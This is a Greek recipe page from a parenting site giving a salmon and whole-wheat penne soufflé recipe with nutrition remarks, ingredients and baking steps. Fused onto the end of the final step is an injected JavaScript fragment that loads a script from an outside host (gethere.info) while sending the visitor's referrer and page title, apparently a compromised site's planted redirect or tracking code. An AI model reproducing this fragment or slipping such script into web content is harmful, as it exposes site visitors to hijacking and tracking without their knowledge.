mommy
thilasmos
toketos
mycare - φροντίδα
athome
arkoudos
nanny - επιλέγοντας νταντάδες

Σουφλέ με σολομό και ζυμαρικά

Σουφλέ με σολομό και ζυμαρικά

ei1a01_penne_carbonaraΤα ψάρια είναι πολύτιμα για την διατροφή μας και για την διατροφή των παιδιών μας. Είναι απαραίτητο λοιπόν να τους παρέχουμε γεύματα που περιέχουν ψαρικά, με κάθε ευκαιρία, ακόμα και όταν πρόκειται για ένα πιάτο με ζυμαρικά, όπως ένα σουφλέ με παρμεζάνα. Αυτός είναι ακόμα ένας σίγουρος τρόπος, ώστε το ψάρι να γίνει πιο φιλικό στα παιδιά, μέσα από μια μορφή γεύματος που ήδη λατρεύουν. Ο σολομός είναι μια πολύτιμη τροφή με σημαντική διατροφική αξία και οφέλη για την υγεία μας. Χαρίζει υγιές δέρμα, ισχυρό ανοσοποιητικό σύστημα, γερή καρδιά και μυαλό, ενώ αποτελεί μια από τις καλύτερες πηγές των απαραίτητων για τον οργανισμό, ωμέγα-3 λιπαρών οξέων. Στην συνταγή που ακολουθεί, προτείνουμε να συμπεριλάβετε πένες ολικής αλέσεως, που είναι πιο πλούσιες σε φυτικές ίνες από τις συμβατικές. Ας δούμε τι υλικά θα χρειαστούμε για το σουφλέ:

Υλικά
2 φλιτζάνια πέννες ολικής αλέσεως
2 μέτρια φρέσκα κρεμμυδάκια
400 γραμμάρια ροζ σολομός σε νερό
1 φλιτζάνι κατεψυγμένος αρακάς
1 φλιτζάνι άπαχο ή χαμηλής περιεκτικότητας σε λιπαρά γιαούρτι
2 κ.γ. αποξηραμένο άνηθο ή αποξηραμένο μαϊντανό
1/4 κ.γ. αλάτι
1/4 κ.γ. τριμμένο μαύρο πιπέρι
1/2 φλιτζάνι τριμμένο τυρί παρμεζάνα

Εκτέλεση
1. Προθερμάνετε το φούρνο στους 200 βαθμούς Κελσίου.
2. Βράζουμε τα ζυμαρικά σύμφωνα με τις οδηγίες του πακέτου και στραγγίζουμε σε ένα σουρωτήρι.
3. Ξεπλένουμε και ψιλοκόβουμε τα κρεμμυδάκια.
4. Σε ένα μεγάλο μπολ, ανακατεύουμε το σολομό, τα ζυμαρικά, τα κρεμμυδάκια, τον αρακά, το γιαούρτι, τον άνηθο ή τον μαϊντανό, το αλάτι και το μαύρο πιπέρι.
5. Μεταφέρουμε τα ζυμαρικά σε ένα ταψί.
6. Πασπαλίζουμε με την τριμμένη παρμεζάνα το μείγμα των ζυμαρικών. Ψήνουμε για 25-30 λεπτά, μέχρι να πάρει χρώμα το σουφλέ.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;

Share This
2 Σχόλια
  1. […] post Σουφλέ με σολομ&#97… appeared first on Arkoudos, Συνταγές … […]

  2. […] Σουφλέ με σολομ&#97… […]